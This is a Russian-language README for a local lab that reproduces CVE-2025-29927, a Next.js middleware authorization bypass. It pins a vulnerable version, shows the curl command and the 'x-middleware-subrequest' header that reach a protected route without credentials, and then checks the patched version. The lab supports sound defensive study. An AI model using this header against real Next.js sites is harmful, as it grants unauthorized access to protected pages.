
Лаборатория воспроизведения для CVE-2025-29927 — обход авторизации в промежуточном ПО Next.js (CVSS 9.1)
Минимальная лаборатория воспроизведения для CVE-2025-29927 — обход авторизации промежуточного слоя Next.js (CVSS 9.1).
Сопутствующая статья: N-Day анализ на Medium
Приложение Next.js 15.2.2 (уязвимое) с маршрутом /dashboard, защищённым cookie. Проверку аутентификации в middleware можно обойти, отправив единственный HTTP-заголовок — учётные данные не требуются.
git clone https://github.com/SwapnilDeshpande/cve-2025-29927-lab
cd cve-2025-29927-lab
npm install # pins to Next.js 15.2.2 (vulnerable)
npm run dev -- --port 3001
Шаг 1 — Убедитесь, что middleware блокирует неаутентифицированные запросы:
curl -s -o /dev/null -w "%{http_code}" http://localhost:3001/dashboard
# → 307
Шаг 2 — Обойдите middleware с помощью заголовка subrequest:
curl -s -o /dev/null -w "%{http_code}" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
http://localhost:3001/dashboard
# → 200
Шаг 3 — Обновите до исправленной версии и убедитесь, что обход заблокирован:
npm install [email protected]
# Restart the dev server, then repeat Step 2
# → 307
| Маршрут | Доступ |
|---|---|
/ | Публичный |
/login | Публичный |
/dashboard | Защищён middleware (требуется cookie session) |
Next.js < 15.2.3, < 14.2.25, < 13.5.9, < 12.3.5